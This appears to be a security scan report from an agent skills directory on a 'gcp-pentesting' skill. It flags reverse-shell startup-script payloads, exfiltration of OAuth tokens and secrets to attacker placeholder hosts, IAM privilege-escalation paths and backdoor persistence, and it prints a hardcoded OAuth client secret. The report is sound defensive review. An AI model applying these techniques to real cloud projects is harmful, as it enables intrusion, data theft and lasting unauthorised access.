The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides numerous shell commands for interacting with GCP, including instructions for injecting reverse shell payloads into Compute Engine startup scripts to gain remote access.
Evidence found in references/iam-privesc.md (Section 2.2) and references/post-exploit-persistence.md (Section 2.7).
[DATA_EXFILTRATION]: The instructions include specific methods for exfiltrating sensitive data such as OAuth tokens, database dumps, and Secret Manager keys to external attacker-controlled infrastructure.
Evidence includes the use of curl and gsutil to send data to placeholders like ATTACKER_SERVER and ATTACKER_BUCKET.
[PRIVILEGE_ESCALATION]: The skill contains a dedicated reference guide documenting over 30 privilege escalation paths in GCP, focusing on the abuse of the iam.serviceAccounts.actAs permission.
Detailed paths are provided in references/iam-privesc.md.
[PERSISTENCE]: The skill describes various techniques to maintain long-term access to a GCP project, such as creating permanent Service Account keys, modifying IAM policies to add backdoor accounts, and creating malicious scheduled tasks.
Evidence found in references/post-exploit-persistence.md.
[EXTERNAL_DOWNLOADS]: The skill recommends downloading and using several third-party security tools (e.g., gcpbucketbrute, ScoutSuite, gcpwn, Hayat) from external, unverified repositories.
[CREDENTIALS_UNSAFE]: The documentation hardcodes a specific OAuth client secret (ZmssLNjJy2998hD4CTg2ejr2) for use in credential generation commands. While this is a known public secret for the Google SDK, hardcoding such values remains a security risk.

gcp-pentesting